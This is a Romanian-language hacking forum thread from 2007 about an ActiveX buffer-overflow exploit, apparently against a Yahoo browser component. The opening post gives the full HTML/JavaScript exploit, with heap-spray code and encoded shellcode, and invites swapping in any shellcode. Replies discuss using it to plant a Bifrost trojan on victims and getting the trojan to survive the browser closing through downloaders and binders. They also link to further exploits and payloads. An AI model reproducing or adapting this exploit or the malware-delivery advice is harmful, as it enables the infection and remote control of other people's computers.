zbeng Posted June 10, 2007 Report Share Posted June 10, 2007 <html><!--45 minutes of fuzzing!Great results! very relible, runs calc.exe, replace with shellcode of your choice!!!link:[url]http://www.informationweek.com/news/showArticle.jhtml?articleID=199901856[/url]maybe more vulz!Greetz to: str0ke and shinnai!--><html><script><object classid='clsid:DCE2F8B1-A520-11D4-8FD0-00D0B7730277' id='target'shellcode = unescape("%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" +"%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" +"%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" +"%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" +"%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" +"%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" +"%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" +"%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" +"%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" +"%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" +"%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" +"%uCC4A%uD0FF");bigblock = unescape("%u9090%u9090");headersize = 20;slackspace = headersize+shellcode.lengthwhile (bigblock.length<slackspace) bigblock+=bigblock;fillblock = bigblock.substring(0, slackspace);block = bigblock.substring(0, bigblock.length-slackspace);while(block.length+slackspace<0x40000) block = block+block+fillblock;memory = new Array();for (x=0; xi<800; x++) memory[x] = block + shellcode;var buffer = '\x0a';while (buffer.length < 5000) buffer+='\x0a\x0a\x0a\x0a';target.server = buffer;target.initialize();target.send();</script></html>sometimes 0a0a0a0a0a is not as good as 0d0d0d0d or 11111111 Quote Link to comment Share on other sites More sharing options...
escalation666 Posted June 10, 2007 Report Share Posted June 10, 2007 Sincer sa fiu, aveam asteptari mai mari de la acest exploit, dar dupa ce l-am testat cu succes pe un win2003 care rula in vmware, am observat ca programul (in testele mele a fost un server de bifrost) pe care il va downloada si executa victima nu avea un proces independent ci va rula in contextul procesului browserului care deschidea pagina malitioasa.....deci in momentul in care inchideai browserul se inchidea si procesul troianului. In plus, cei de la Yahoo au reactionat f prompt lansand un patch...asa ca e cam greu sa gasesti victime...so the exploit it's pretty useless..Cine are o idee, parere, sugestie, sfat etc despre cum poate fi depasita aceasta problema este binevenit sa o expuna Quote Link to comment Share on other sites More sharing options...
Guest Nemessis Posted June 10, 2007 Report Share Posted June 10, 2007 Este foarte simplu. In loc sa downloadeze troianul propriu-zis pui sa downloadeze un downloader ce va extrage automat de pe www serverul troianului. Asa troianul va rula idependent de browser plus ca downloaderul are dimensiuni mici si va fi executat in pc-ul victimei aproape instantaneu O alta metoda ar fi sa bindezi fisierul sau sa il pui intr-o arhiva sfx ce il va rula idependent. Cand va fi inchis browserul singura aplicatie inchisa va fi binderul dar programul ce il continea va rula in continuare fara probleme. Quote Link to comment Share on other sites More sharing options...
bossjuan Posted June 10, 2007 Report Share Posted June 10, 2007 cum fac sa imi pun exe-le meu in aces script? Quote Link to comment Share on other sites More sharing options...
kw3rln Posted June 10, 2007 Report Share Posted June 10, 2007 cum fac sa imi pun exe-le meu in aces script?incearca asta: http://milw0rm.com/exploits/4052 Quote Link to comment Share on other sites More sharing options...
escalation666 Posted June 10, 2007 Report Share Posted June 10, 2007 Am testat ideea (btw very good idea) cu 2 web downloaders diferiti...si am ajuns la acelasi rezultat...Daca dai in executie minunea care a downloadat-o webdownloader-ul...se deschide intai browserul (IE in cazul meu) si apoi se executa si troianul...@bossjuan: pai inlocuiesti shellcod-ul care executa calc.exe cu shellcod-ul tau...ai aici tot ce iti trebuie http://metasploit.com:55555/PAYLOADS...sau poti sa folosesti si sa compilezi unul din exploiturile de pe milw0rm: asta de exemplu http://milw0rm.com/exploits/4053 Quote Link to comment Share on other sites More sharing options...
Guest Nemessis Posted June 10, 2007 Report Share Posted June 10, 2007 Sa inteleg ca functioneaza cum am spus eu? Sau e acelasi rezultat si se inchide odata cu browserul? Quote Link to comment Share on other sites More sharing options...
escalation666 Posted June 10, 2007 Report Share Posted June 10, 2007 se inchide procesul troianului o data cu inchiderea browserul...dar metoda cu folosirea unui webdownloader a fost o idee buna...uitasem de ea Quote Link to comment Share on other sites More sharing options...
